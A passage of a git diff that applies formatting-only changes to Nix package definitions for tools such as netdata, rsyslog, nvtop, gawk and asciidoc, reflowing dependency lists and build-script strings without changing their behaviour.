-    netlink.buildInputs =
-      [
-        libpcap
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isLinux [
-        libmnl
-      ];
+    netlink.buildInputs = [
+      libpcap
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isLinux [
+      libmnl
+    ];
     network.buildInputs = [ libgcrypt ];
     nginx.buildInputs = [ curl ];
     notify_desktop.buildInputs = [
@@ -150,16 +149,15 @@ let
       curl
       varnish
     ];
-    virt.buildInputs =
-      [
-        libvirt
-        libxml2
-        yajl
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isLinux [
-        lvm2
-        udev
-      ];
+    virt.buildInputs = [
+      libvirt
+      libxml2
+      yajl
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isLinux [
+      lvm2
+      udev
+    ];
     write_http.buildInputs = [
       curl
       yajl
diff --git a/pkgs/tools/system/hw-probe/default.nix b/pkgs/tools/system/hw-probe/default.nix
index e0f2b28c4dee..2b83502d0015 100644
--- a/pkgs/tools/system/hw-probe/default.nix
+++ b/pkgs/tools/system/hw-probe/default.nix
@@ -92,25 +92,24 @@ stdenv.mkDerivation rec {
         xz
         kmod # (lsmod)
       ];
-      recommendedPrograms =
-        [
-          mcelog
-          hdparm
-          acpica-tools
-          drm_info
-          mesa-demos
-          memtester
-          sysstat # (iostat)
-          util-linuxMinimal # (rfkill)
-          xinput
-          libva-utils # (vainfo)
-          inxi
-          vulkan-tools
-          i2c-tools
-          opensc
-        ]
-        # cpuid is only compatible with i686 and x86_64
-        ++ lib.optional (lib.elem stdenv.hostPlatform.system cpuid.meta.platforms) cpuid;
+      recommendedPrograms = [
+        mcelog
+        hdparm
+        acpica-tools
+        drm_info
+        mesa-demos
+        memtester
+        sysstat # (iostat)
+        util-linuxMinimal # (rfkill)
+        xinput
+        libva-utils # (vainfo)
+        inxi
+        vulkan-tools
+        i2c-tools
+        opensc
+      ]
+      # cpuid is only compatible with i686 and x86_64
+      ++ lib.optional (lib.elem stdenv.hostPlatform.system cpuid.meta.platforms) cpuid;
       conditionallyRecommendedPrograms = lib.optional systemdSupport systemd; # (systemd-analyze)
       suggestedPrograms = [
         hplip # (hp-probe)
diff --git a/pkgs/tools/system/netdata/default.nix b/pkgs/tools/system/netdata/default.nix
index 1c298715b44a..8c13b48c150f 100644
--- a/pkgs/tools/system/netdata/default.nix
+++ b/pkgs/tools/system/netdata/default.nix
@@ -78,68 +78,67 @@ stdenv.mkDerivation (finalAttrs: {
     makeWrapper
     ninja
     pkg-config
-  ] ++ lib.optionals withCups [ cups.dev ];
+  ]
+  ++ lib.optionals withCups [ cups.dev ];
 
   # bash is only used to rewrite shebangs
-  buildInputs =
-    [
-      bash
-      curl
-      jemalloc
-      json_c
-      libuv
-      libyaml
-      lz4
-      protobuf
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libossp_uuid
-    ]
+  buildInputs = [
+    bash
+    curl
+    jemalloc
+    json_c
+    libuv
+    libyaml
+    lz4
+    protobuf
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libossp_uuid
+  ]
 
-    ++ lib.optionals (stdenv.hostPlatform.isLinux) [
-      libcap
-      libuuid
-      lm_sensors
-    ]
-    ++ lib.optionals withConnPrometheus [ snappy ]
-    ++ lib.optionals withConnPubSub [
-      google-cloud-cpp
-      grpc
-    ]
-    ++ lib.optionals withCups [ cups ]
-    ++ lib.optionals withEbpf [
-      libbpf
-      libelf
-    ]
-    ++ lib.optionals withIpmi [ freeipmi ]
-    ++ lib.optionals withLibbacktrace [ libbacktrace ]
-    ++ lib.optionals withNetfilter [
-      libmnl
-      libnetfilter_acct
-    ]
-    ++ lib.optionals withSsl [ openssl ]
-    ++ lib.optionals withSystemdJournal [ systemd ];
+  ++ lib.optionals (stdenv.hostPlatform.isLinux) [
+    libcap
+    libuuid
+    lm_sensors
+  ]
+  ++ lib.optionals withConnPrometheus [ snappy ]
+  ++ lib.optionals withConnPubSub [
+    google-cloud-cpp
+    grpc
+  ]
+  ++ lib.optionals withCups [ cups ]
+  ++ lib.optionals withEbpf [
+    libbpf
+    libelf
+  ]
+  ++ lib.optionals withIpmi [ freeipmi ]
+  ++ lib.optionals withLibbacktrace [ libbacktrace ]
+  ++ lib.optionals withNetfilter [
+    libmnl
+    libnetfilter_acct
+  ]
+  ++ lib.optionals withSsl [ openssl ]
+  ++ lib.optionals withSystemdJournal [ systemd ];
 
-  patches =
-    [
-      # Allow ndsudo to use non-hardcoded `PATH`
-      # See https://github.com/netdata/netdata/pull/17377#issuecomment-2183017868
-      #     https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93
-      ./ndsudo-fix-path.patch
+  patches = [
+    # Allow ndsudo to use non-hardcoded `PATH`
+    # See https://github.com/netdata/netdata/pull/17377#issuecomment-2183017868
+    #     https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93
+    ./ndsudo-fix-path.patch
 
-      ./use-local-libbacktrace.patch
-    ]
-    ++ lib.optional withCloudUi (
-      replaceVars ./dashboard-v3-add.patch {
-        # FIXME web.archive.org link can be replace once https://github.com/netdata/netdata-cloud/issues/1081 resolved
-        # last update 04/01/2025 04:45:14
-        dashboardTarball = fetchurl {
-          url = "https://web.archive.org/web/20250401044514/https://app.netdata.cloud/agent.tar.gz";
-          hash = "sha256-NtmM1I3VrvFErMoBl+w63Nt0DzOOsaB98cxE/axm8mE=";
-        };
-      }
-    );
+    ./use-local-libbacktrace.patch
+  ]
+  ++ lib.optional withCloudUi (
+    replaceVars ./dashboard-v3-add.patch {
+      # FIXME web.archive.org link can be replace once https://github.com/netdata/netdata-cloud/issues/1081 resolved
+      # last update 04/01/2025 04:45:14
+      dashboardTarball = fetchurl {
+        url = "https://web.archive.org/web/20250401044514/https://app.netdata.cloud/agent.tar.gz";
+        hash = "sha256-NtmM1I3VrvFErMoBl+w63Nt0DzOOsaB98cxE/axm8mE=";
+      };
+    }
+  );
 
   # Guard against unused build-time development inputs in closure. Without
   # the ./skip-CONFIGURE_COMMAND.patch patch the closure retains inputs up
@@ -151,42 +150,41 @@ stdenv.mkDerivation (finalAttrs: {
   donStrip = withDebug || withLibbacktrace;
   env.NIX_CFLAGS_COMPILE = lib.optionalString withDebug "-O1 -ggdb -DNETDATA_INTERNAL_CHECKS=1";
 
-  postInstall =
-    ''
-      # Relocate one folder above.
-      mv $out/usr/* $out/
-    ''
-    + lib.optionalString (stdenv.hostPlatform.isLinux) ''
-      # rename this plugin so netdata will look for setuid wrapper
-      mv $out/libexec/netdata/plugins.d/apps.plugin \
-         $out/libexec/netdata/plugins.d/apps.plugin.org
-      mv $out/libexec/netdata/plugins.d/cgroup-network \
-         $out/libexec/netdata/plugins.d/cgroup-network.org
-      mv $out/libexec/netdata/plugins.d/perf.plugin \
-         $out/libexec/netdata/plugins.d/perf.plugin.org
-      mv $out/libexec/netdata/plugins.d/slabinfo.plugin \
-         $out/libexec/netdata/plugins.d/slabinfo.plugin.org
-      mv $out/libexec/netdata/plugins.d/debugfs.plugin \
-         $out/libexec/netdata/plugins.d/debugfs.plugin.org
-      ${lib.optionalString withSystemdJournal ''
-        mv $out/libexec/netdata/plugins.d/systemd-journal.plugin \
-           $out/libexec/netdata/plugins.d/systemd-journal.plugin.org
-      ''}
-      ${lib.optionalString withIpmi ''
-        mv $out/libexec/netdata/plugins.d/freeipmi.plugin \
-           $out/libexec/netdata/plugins.d/freeipmi.plugin.org
-      ''}
-      ${lib.optionalString withNetworkViewer ''
-        mv $out/libexec/netdata/plugins.d/network-viewer.plugin \
-           $out/libexec/netdata/plugins.d/network-viewer.plugin.org
-      ''}
-      ${lib.optionalString withNdsudo ''
-        mv $out/libexec/netdata/plugins.d/ndsudo \
-          $out/libexec/netdata/plugins.d/ndsudo.org
+  postInstall = ''
+    # Relocate one folder above.
+    mv $out/usr/* $out/
+  ''
+  + lib.optionalString (stdenv.hostPlatform.isLinux) ''
+    # rename this plugin so netdata will look for setuid wrapper
+    mv $out/libexec/netdata/plugins.d/apps.plugin \
+       $out/libexec/netdata/plugins.d/apps.plugin.org
+    mv $out/libexec/netdata/plugins.d/cgroup-network \
+       $out/libexec/netdata/plugins.d/cgroup-network.org
+    mv $out/libexec/netdata/plugins.d/perf.plugin \
+       $out/libexec/netdata/plugins.d/perf.plugin.org
+    mv $out/libexec/netdata/plugins.d/slabinfo.plugin \
+       $out/libexec/netdata/plugins.d/slabinfo.plugin.org
+    mv $out/libexec/netdata/plugins.d/debugfs.plugin \
+       $out/libexec/netdata/plugins.d/debugfs.plugin.org
+    ${lib.optionalString withSystemdJournal ''
+      mv $out/libexec/netdata/plugins.d/systemd-journal.plugin \
+         $out/libexec/netdata/plugins.d/systemd-journal.plugin.org
+    ''}
+    ${lib.optionalString withIpmi ''
+      mv $out/libexec/netdata/plugins.d/freeipmi.plugin \
+         $out/libexec/netdata/plugins.d/freeipmi.plugin.org
+    ''}
+    ${lib.optionalString withNetworkViewer ''
+      mv $out/libexec/netdata/plugins.d/network-viewer.plugin \
+         $out/libexec/netdata/plugins.d/network-viewer.plugin.org
+    ''}
+    ${lib.optionalString withNdsudo ''
+      mv $out/libexec/netdata/plugins.d/ndsudo \
+        $out/libexec/netdata/plugins.d/ndsudo.org
 
-        ln -s /var/lib/netdata/ndsudo/ndsudo $out/libexec/netdata/plugins.d/ndsudo
-      ''}
-    '';
+      ln -s /var/lib/netdata/ndsudo/ndsudo $out/libexec/netdata/plugins.d/ndsudo
+    ''}
+  '';
 
   preConfigure = ''
     export GOCACHE=$TMPDIR/go-cache
@@ -233,7 +231,8 @@ stdenv.mkDerivation (finalAttrs: {
     (lib.cmakeBool "ENABLE_ML" withML)
     # Suggested by upstream.
     "-G Ninja"
-  ] ++ lib.optional withML "-DNETDATA_DLIB_SOURCE_PATH=${dlib.src}";
+  ]
+  ++ lib.optional withML "-DNETDATA_DLIB_SOURCE_PATH=${dlib.src}";
 
   postFixup = ''
     wrapProgram $out/bin/netdata-claim.sh --prefix PATH : ${lib.makeBinPath [ openssl ]}
diff --git a/pkgs/tools/system/nvtop/build-nvtop.nix b/pkgs/tools/system/nvtop/build-nvtop.nix
index 7caac445a33d..e73ad402b56a 100644
--- a/pkgs/tools/system/nvtop/build-nvtop.nix
+++ b/pkgs/tools/system/nvtop/build-nvtop.nix
@@ -65,21 +65,21 @@ stdenv.mkDerivation (finalAttrs: {
     (cmakeBool "V3D_SUPPORT" v3d)
     (cmakeBool "TPU_SUPPORT" tpu) # requires libtpuinfo which is not packaged yet
   ];
-  nativeBuildInputs =
-    [
-      cmake
-    ]
-    ++ lib.optionals finalAttrs.doCheck [
-      gtest
-    ]
-    ++ lib.optional nvidia addDriverRunpath;
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals finalAttrs.doCheck [
+    gtest
+  ]
+  ++ lib.optional nvidia addDriverRunpath;
 
-  buildInputs =
-    [ ncurses ]
-    ++ lib.optional stdenv.hostPlatform.isLinux udev
-    ++ lib.optional stdenv.hostPlatform.isDarwin apple-sdk_12
-    ++ lib.optional nvidia cudatoolkit
-    ++ lib.optional needDrm libdrm;
+  buildInputs = [
+    ncurses
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux udev
+  ++ lib.optional stdenv.hostPlatform.isDarwin apple-sdk_12
+  ++ lib.optional nvidia cudatoolkit
+  ++ lib.optional needDrm libdrm;
 
   # this helps cmake to find <drm.h>
   env.NIX_CFLAGS_COMPILE = lib.optionalString needDrm "-isystem ${lib.getDev libdrm}/include/libdrm";
diff --git a/pkgs/tools/system/plan9port/default.nix b/pkgs/tools/system/plan9port/default.nix
index 8887d0623776..99152ddc974a 100644
--- a/pkgs/tools/system/plan9port/default.nix
+++ b/pkgs/tools/system/plan9port/default.nix
@@ -44,26 +44,25 @@ stdenv.mkDerivation rec {
   '';
 
   nativeBuildInputs = [ ed ];
-  buildInputs =
-    [
-      perl
-      which
-    ]
-    ++ (
-      if !stdenv.hostPlatform.isDarwin then
-        [
-          fontconfig
-          freetype # fontsrv uses these
-          libX11
-          libXext
-          libXt
-          xorgproto
-        ]
-      else
-        [
-          DarwinTools
-        ]
-    );
+  buildInputs = [
+    perl
+    which
+  ]
+  ++ (
+    if !stdenv.hostPlatform.isDarwin then
+      [
+        fontconfig
+        freetype # fontsrv uses these
+        libX11
+        libXext
+        libXt
+        xorgproto
+      ]
+    else
+      [
+        DarwinTools
+      ]
+  );
 
   configurePhase = ''
     runHook preConfigure
diff --git a/pkgs/tools/system/rsyslog/default.nix b/pkgs/tools/system/rsyslog/default.nix
index 3c1cf19c1f2f..f0428d9e2164 100644
--- a/pkgs/tools/system/rsyslog/default.nix
+++ b/pkgs/tools/system/rsyslog/default.nix
@@ -75,37 +75,36 @@ stdenv.mkDerivation rec {
     docutils
   ];
 
-  buildInputs =
-    [
-      fastJson
-      libestr
-      json_c
-      zlib
-    ]
-    ++ lib.optional withKrb5 libkrb5
-    ++ lib.optional withJemalloc jemalloc
-    ++ lib.optional withPostgres libpq
-    ++ lib.optional withDbi libdbi
-    ++ lib.optional withNetSnmp net-snmp
-    ++ lib.optional withUuid libuuid
-    ++ lib.optional withCurl curl
-    ++ lib.optional withGnutls gnutls
-    ++ lib.optional withGcrypt libgcrypt
-    ++ lib.optional withLognorm liblognorm
-    ++ lib.optional withOpenssl openssl
-    ++ lib.optional withRelp librelp
-    ++ lib.optional withKsi libksi
-    ++ lib.optional withLogging liblogging
-    ++ lib.optional withNet libnet
-    ++ lib.optional withHadoop hadoop
-    ++ lib.optional withRdkafka rdkafka
-    ++ lib.optionals withMongo [ mongoc ]
-    ++ lib.optional withCzmq czmq
-    ++ lib.optional withRabbitmq rabbitmq-c
-    ++ lib.optional withHiredis hiredis
-    ++ lib.optional withMaxminddb libmaxminddb
-    ++ lib.optional withMysql libmysqlclient
-    ++ lib.optional withSystemd systemd;
+  buildInputs = [
+    fastJson
+    libestr
+    json_c
+    zlib
+  ]
+  ++ lib.optional withKrb5 libkrb5
+  ++ lib.optional withJemalloc jemalloc
+  ++ lib.optional withPostgres libpq
+  ++ lib.optional withDbi libdbi
+  ++ lib.optional withNetSnmp net-snmp
+  ++ lib.optional withUuid libuuid
+  ++ lib.optional withCurl curl
+  ++ lib.optional withGnutls gnutls
+  ++ lib.optional withGcrypt libgcrypt
+  ++ lib.optional withLognorm liblognorm
+  ++ lib.optional withOpenssl openssl
+  ++ lib.optional withRelp librelp
+  ++ lib.optional withKsi libksi
+  ++ lib.optional withLogging liblogging
+  ++ lib.optional withNet libnet
+  ++ lib.optional withHadoop hadoop
+  ++ lib.optional withRdkafka rdkafka
+  ++ lib.optionals withMongo [ mongoc ]
+  ++ lib.optional withCzmq czmq
+  ++ lib.optional withRabbitmq rabbitmq-c
+  ++ lib.optional withHiredis hiredis
+  ++ lib.optional withMaxminddb libmaxminddb
+  ++ lib.optional withMysql libmysqlclient
+  ++ lib.optional withSystemd systemd;
 
   configureFlags = [
     "--sysconfdir=/etc"
diff --git a/pkgs/tools/system/testdisk/default.nix b/pkgs/tools/system/testdisk/default.nix
index 810d6a8cf7f2..ff23b602c00d 100644
--- a/pkgs/tools/system/testdisk/default.nix
+++ b/pkgs/tools/system/testdisk/default.nix
@@ -44,21 +44,20 @@ assert enableQt -> qwt != null;
 
   enableParallelBuilding = true;
 
-  buildInputs =
-    [
-      ncurses
-      libuuid
-      libjpeg
-      zlib
-      libewf
-    ]
-    ++ lib.optional enableNtfs ntfs3g
-    ++ lib.optional enableExtFs e2fsprogs
-    ++ lib.optionals enableQt [
-      qtbase
-      qttools
-      qwt
-    ];
+  buildInputs = [
+    ncurses
+    libuuid
+    libjpeg
+    zlib
+    libewf
+  ]
+  ++ lib.optional enableNtfs ntfs3g
+  ++ lib.optional enableExtFs e2fsprogs
+  ++ lib.optionals enableQt [
+    qtbase
+    qttools
+    qwt
+  ];
 
   nativeBuildInputs = [ pkg-config ];
 
diff --git a/pkgs/tools/text/gawk/default.nix b/pkgs/tools/text/gawk/default.nix
index d8247d6b69ca..6bc745fe88b7 100644
--- a/pkgs/tools/text/gawk/default.nix
+++ b/pkgs/tools/text/gawk/default.nix
@@ -42,22 +42,22 @@ stdenv.mkDerivation rec {
   outputs = [
     "out"
     "info"
-  ] ++ lib.optional (!interactive) "man";
+  ]
+  ++ lib.optional (!interactive) "man";
 
   strictDeps = true;
 
   # no-pma fix
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      texinfo
-    ]
-    ++ lib.optionals interactive [
-      removeReferencesTo
-    ]
-    ++ lib.optionals (doCheck && stdenv.hostPlatform.isLinux) [
-      glibcLocales
-    ];
+  nativeBuildInputs = [
+    autoreconfHook
+    texinfo
+  ]
+  ++ lib.optionals interactive [
+    removeReferencesTo
+  ]
+  ++ lib.optionals (doCheck && stdenv.hostPlatform.isLinux) [
+    glibcLocales
+  ];
 
   buildInputs =
     lib.optionals interactive [
diff --git a/pkgs/tools/text/gawk/gawkextlib.nix b/pkgs/tools/text/gawk/gawkextlib.nix
index 93b189e5c53d..abea3e32a139 100644
--- a/pkgs/tools/text/gawk/gawkextlib.nix
+++ b/pkgs/tools/text/gawk/gawkextlib.nix
@@ -53,11 +53,10 @@ let
 
       inherit patches;
 
-      postPatch =
-        ''
-          cd ${name}
-        ''
-        + extraPostPatch;
+      postPatch = ''
+        cd ${name}
+      ''
+      + extraPostPatch;
 
       nativeBuildInputs = [
         autoconf
@@ -95,7 +94,8 @@ let
         license = lib.licenses.gpl3Plus;
         platforms = lib.platforms.unix;
         maintainers = with lib.maintainers; [ tomberek ];
-      } // lib.optionalAttrs (broken != null) { inherit broken; };
+      }
+      // lib.optionalAttrs (broken != null) { inherit broken; };
     }
   );
   gawkextlib = buildExtension {
diff --git a/pkgs/tools/text/gnugrep/default.nix b/pkgs/tools/text/gnugrep/default.nix
index bd4924c5708e..9fb049451067 100644
--- a/pkgs/tools/text/gnugrep/default.nix
+++ b/pkgs/tools/text/gnugrep/default.nix
@@ -52,7 +52,8 @@ stdenv.mkDerivation {
   buildInputs = [
     pcre2
     libiconv
-  ] ++ lib.optional (!stdenv.hostPlatform.isWindows) runtimeShellPackage;
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isWindows) runtimeShellPackage;
 
   # cygwin: FAIL: multibyte-white-space
   # freebsd: FAIL mb-non-UTF8-performance
diff --git a/pkgs/tools/text/highlight/default.nix b/pkgs/tools/text/highlight/default.nix
index 6ef03ad24d95..63ca21ce14f9 100644
--- a/pkgs/tools/text/highlight/default.nix
+++ b/pkgs/tools/text/highlight/default.nix
@@ -30,7 +30,8 @@ let
       pkg-config
       swig
       perl
-    ] ++ lib.optional stdenv.hostPlatform.isDarwin gcc;
+    ]
+    ++ lib.optional stdenv.hostPlatform.isDarwin gcc;
 
     buildInputs = [
       getopt
@@ -39,17 +40,16 @@ let
       libxcrypt
     ];
 
-    postPatch =
-      ''
-        substituteInPlace src/makefile \
-          --replace "shell pkg-config" "shell $PKG_CONFIG"
-        substituteInPlace makefile \
-          --replace 'gzip' 'gzip -n'
-      ''
-      + lib.optionalString stdenv.cc.isClang ''
-        substituteInPlace src/makefile \
-            --replace 'CXX=g++' 'CXX=clang++'
-      '';
+    postPatch = ''
+      substituteInPlace src/makefile \
+        --replace "shell pkg-config" "shell $PKG_CONFIG"
+      substituteInPlace makefile \
+        --replace 'gzip' 'gzip -n'
+    ''
+    + lib.optionalString stdenv.cc.isClang ''
+      substituteInPlace src/makefile \
+          --replace 'CXX=g++' 'CXX=clang++'
+    '';
 
     preConfigure = ''
       makeFlags="PREFIX=$out conf_dir=$out/etc/highlight/ CXX=$CXX AR=$AR"
diff --git a/pkgs/tools/text/mdcat/default.nix b/pkgs/tools/text/mdcat/default.nix
index 75f05104bd6e..e600f1aa06d4 100644
--- a/pkgs/tools/text/mdcat/default.nix
+++ b/pkgs/tools/text/mdcat/default.nix
@@ -48,19 +48,18 @@ rustPlatform.buildRustPackage rec {
     "--skip iterm2_tests_render_md_samples_images_md"
   ];
 
-  postInstall =
-    ''
-      installManPage $releaseDir/build/mdcat-*/out/mdcat.1
-      ln -sr $out/bin/{mdcat,mdless}
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      for bin in mdcat mdless; do
-        installShellCompletion --cmd $bin \
-          --bash <($out/bin/$bin --completions bash) \
-          --fish <($out/bin/$bin --completions fish) \
-          --zsh <($out/bin/$bin --completions zsh)
-      done
-    '';
+  postInstall = ''
+    installManPage $releaseDir/build/mdcat-*/out/mdcat.1
+    ln -sr $out/bin/{mdcat,mdless}
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    for bin in mdcat mdless; do
+      installShellCompletion --cmd $bin \
+        --bash <($out/bin/$bin --completions bash) \
+        --fish <($out/bin/$bin --completions fish) \
+        --zsh <($out/bin/$bin --completions zsh)
+    done
+  '';
 
   meta = with lib; {
     description = "cat for markdown";
diff --git a/pkgs/tools/text/mecab/ipadic.nix b/pkgs/tools/text/mecab/ipadic.nix
index 1a44af2d3eb8..9f49e5f1b5e4 100644
--- a/pkgs/tools/text/mecab/ipadic.nix
+++ b/pkgs/tools/text/mecab/ipadic.nix
@@ -18,15 +18,14 @@ stdenv.mkDerivation (finalAttrs: {
 
   buildInputs = [ mecab-nodic ];
 
-  configureFlags =
-    [
-      "--with-charset=utf8"
-      "--with-dicdir=${placeholder "out"}"
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      "--with-mecab-config=${lib.getExe' buildPackages.mecab "mecab-config"}"
-    ]
-    ++ lib.optionals (stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      "--with-mecab-config=${lib.getExe' (lib.getDev mecab-nodic) "mecab-config"}"
-    ];
+  configureFlags = [
+    "--with-charset=utf8"
+    "--with-dicdir=${placeholder "out"}"
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    "--with-mecab-config=${lib.getExe' buildPackages.mecab "mecab-config"}"
+  ]
+  ++ lib.optionals (stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    "--with-mecab-config=${lib.getExe' (lib.getDev mecab-nodic) "mecab-config"}"
+  ];
 })
diff --git a/pkgs/tools/text/patchutils/generic.nix b/pkgs/tools/text/patchutils/generic.nix
index 047b4cfd55cc..9d1da3980742 100644
--- a/pkgs/tools/text/patchutils/generic.nix
+++ b/pkgs/tools/text/patchutils/generic.nix
@@ -35,15 +35,14 @@ stdenv.mkDerivation rec {
 
   doCheck = lib.versionAtLeast version "0.3.4";
 
-  preCheck =
-    ''
-      patchShebangs tests
-      chmod +x scripts/*
-    ''
-    + lib.optionalString (lib.versionOlder version "0.4.2") ''
-      find tests -type f -name 'run-test' \
-        -exec sed -i '{}' -e 's|/bin/echo|echo|g' \;
-    '';
+  preCheck = ''
+    patchShebangs tests
+    chmod +x scripts/*
+  ''
+  + lib.optionalString (lib.versionOlder version "0.4.2") ''
+    find tests -type f -name 'run-test' \
+      -exec sed -i '{}' -e 's|/bin/echo|echo|g' \;
+  '';
 
   meta = with lib; {
     description = "Tools to manipulate patch files";
diff --git a/pkgs/tools/typesetting/asciidoc/default.nix b/pkgs/tools/typesetting/asciidoc/default.nix
index 3f8caf570f62..a301ee3827f0 100644
--- a/pkgs/tools/typesetting/asciidoc/default.nix
+++ b/pkgs/tools/typesetting/asciidoc/default.nix
@@ -160,141 +160,140 @@ python3.pkgs.buildPythonApplication rec {
   ];
 
   # install filters early, so their shebangs are patched too
-  postPatch =
-    ''
-      mkdir -p "$out/etc/asciidoc/filters"
-      mkdir -p "$out/etc/asciidoc/backends"
-    ''
-    + lib.optionalString _enableDitaaFilter ''
-      echo "Extracting ditaa filter"
-      unzip -d "$out/etc/asciidoc/filters/ditaa" "${ditaaFilterSrc}"
-      sed -i -e "s|java -jar|${jre}/bin/java -jar|" \
-          "$out/etc/asciidoc/filters/ditaa/ditaa2img.py"
-    ''
-    + lib.optionalString _enableMscgenFilter ''
-      echo "Extracting mscgen filter"
-      unzip -d "$out/etc/asciidoc/filters/mscgen" "${mscgenFilterSrc}"
-      sed -i -e "s|filter-wrapper.py mscgen|filter-wrapper.py ${mscgen}/bin/mscgen|" \
-          "$out/etc/asciidoc/filters/mscgen/mscgen-filter.conf"
-    ''
-    + lib.optionalString _enableDiagFilter ''
-      echo "Extracting diag filter"
-      unzip -d "$out/etc/asciidoc/filters/diag" "${diagFilterSrc}"
-      sed -i \
-          -e "s|filter='blockdiag|filter=\'${blockdiag}/bin/blockdiag|" \
-          -e "s|filter='seqdiag|filter=\'${seqdiag}/bin/seqdiag|" \
-          -e "s|filter='actdiag|filter=\'${actdiag}/bin/actdiag|" \
-          -e "s|filter='nwdiag|filter=\'${nwdiag}/bin/nwdiag|" \
-          -e "s|filter='packetdiag|filter=\'${nwdiag}/bin/packetdiag|" \
-          "$out/etc/asciidoc/filters/diag/diag-filter.conf"
-    ''
-    + lib.optionalString _enableQrcodeFilter ''
-      echo "Extracting qrcode filter"
-      unzip -d "$out/etc/asciidoc/filters/qrcode" "${qrcodeFilterSrc}"
-      sed -i -e "s|systemcmd('qrencode|systemcmd('${qrencode}/bin/qrencode|" \
-          "$out/etc/asciidoc/filters/qrcode/qrcode2img.py"
-    ''
-    + lib.optionalString _enableMatplotlibFilter ''
-      echo "Extracting mpl (matplotlib) filter"
-      mkdir -p "$out/etc/asciidoc/filters/mpl"
-      tar xvf "${matplotlibFilterSrc}" -C "$out/etc/asciidoc/filters/mpl" --strip-components=1
-      # Stop asciidoc from loading mpl/.old/chart-filter.conf
-      rm -rf "$out/etc/asciidoc/filters/mpl/.old"
-      # Add matplotlib and numpy to sys.path
-      matplotlib_path="$(toPythonPath ${matplotlib})"
-      numpy_path="$(toPythonPath ${numpy})"
-      sed -i "/^import.*sys/asys.path.append(\"$matplotlib_path\"); sys.path.append(\"$numpy_path\");" \
-          "$out/etc/asciidoc/filters/mpl/mplw.py"
-    ''
-    + lib.optionalString _enableAafigureFilter ''
-      echo "Extracting aafigure filter"
-      unzip -d "$out/etc/asciidoc/filters/aafigure" "${aafigureFilterSrc}"
-      # Add aafigure to sys.path (and it needs recursive-pth-loader)
-      pth_loader_path="$(toPythonPath ${recursive-pth-loader})"
-      aafigure_path="$(toPythonPath ${aafigure})"
-      sed -i "/^import.*sys/asys.path.append(\"$pth_loader_path\"); sys.path.append(\"$aafigure_path\"); import sitecustomize" \
-          "$out/etc/asciidoc/filters/aafigure/aafig2img.py"
-    ''
-    + lib.optionalString _enableDeckjsBackend ''
-      echo "Extracting deckjs backend"
-      unzip -d "$out/etc/asciidoc/backends/deckjs" "${deckjsBackendSrc}"
-    ''
-    + lib.optionalString _enableOdfBackend ''
-      echo "Extracting odf backend (odt + odp)"
-      unzip -d "$out/etc/asciidoc/backends/odt" "${odtBackendSrc}"
-      unzip -d "$out/etc/asciidoc/backends/odp" "${odpBackendSrc}"
-      # The odt backend has a TODO note about removing this hardcoded path, but
-      # the odp backend already has that fix. Copy it here until fixed upstream.
-      sed -i "s|'/etc/asciidoc/backends/odt/asciidoc.ott'|os.path.dirname(__file__),'asciidoc.ott'|" \
-          "$out/etc/asciidoc/backends/odt/a2x-backend.py"
-    ''
-    + (
-      if enableStandardFeatures then
-        ''
-          sed -e "s|dot|${graphviz}/bin/dot|g" \
-              -e "s|neato|${graphviz}/bin/neato|g" \
-              -e "s|twopi|${graphviz}/bin/twopi|g" \
-              -e "s|circo|${graphviz}/bin/circo|g" \
-              -e "s|fdp|${graphviz}/bin/fdp|g" \
-              -i "asciidoc/resources/filters/graphviz/graphviz2png.py"
+  postPatch = ''
+    mkdir -p "$out/etc/asciidoc/filters"
+    mkdir -p "$out/etc/asciidoc/backends"
+  ''
+  + lib.optionalString _enableDitaaFilter ''
+    echo "Extracting ditaa filter"
+    unzip -d "$out/etc/asciidoc/filters/ditaa" "${ditaaFilterSrc}"
+    sed -i -e "s|java -jar|${jre}/bin/java -jar|" \
+        "$out/etc/asciidoc/filters/ditaa/ditaa2img.py"
+  ''
+  + lib.optionalString _enableMscgenFilter ''
+    echo "Extracting mscgen filter"
+    unzip -d "$out/etc/asciidoc/filters/mscgen" "${mscgenFilterSrc}"
+    sed -i -e "s|filter-wrapper.py mscgen|filter-wrapper.py ${mscgen}/bin/mscgen|" \
+        "$out/etc/asciidoc/filters/mscgen/mscgen-filter.conf"
+  ''
+  + lib.optionalString _enableDiagFilter ''
+    echo "Extracting diag filter"
+    unzip -d "$out/etc/asciidoc/filters/diag" "${diagFilterSrc}"
+    sed -i \
+        -e "s|filter='blockdiag|filter=\'${blockdiag}/bin/blockdiag|" \
+        -e "s|filter='seqdiag|filter=\'${seqdiag}/bin/seqdiag|" \
+        -e "s|filter='actdiag|filter=\'${actdiag}/bin/actdiag|" \
+        -e "s|filter='nwdiag|filter=\'${nwdiag}/bin/nwdiag|" \
+        -e "s|filter='packetdiag|filter=\'${nwdiag}/bin/packetdiag|" \
+        "$out/etc/asciidoc/filters/diag/diag-filter.conf"
+  ''
+  + lib.optionalString _enableQrcodeFilter ''
+    echo "Extracting qrcode filter"
+    unzip -d "$out/etc/asciidoc/filters/qrcode" "${qrcodeFilterSrc}"
+    sed -i -e "s|systemcmd('qrencode|systemcmd('${qrencode}/bin/qrencode|" \
+        "$out/etc/asciidoc/filters/qrcode/qrcode2img.py"
+  ''
+  + lib.optionalString _enableMatplotlibFilter ''
+    echo "Extracting mpl (matplotlib) filter"
+    mkdir -p "$out/etc/asciidoc/filters/mpl"
+    tar xvf "${matplotlibFilterSrc}" -C "$out/etc/asciidoc/filters/mpl" --strip-components=1
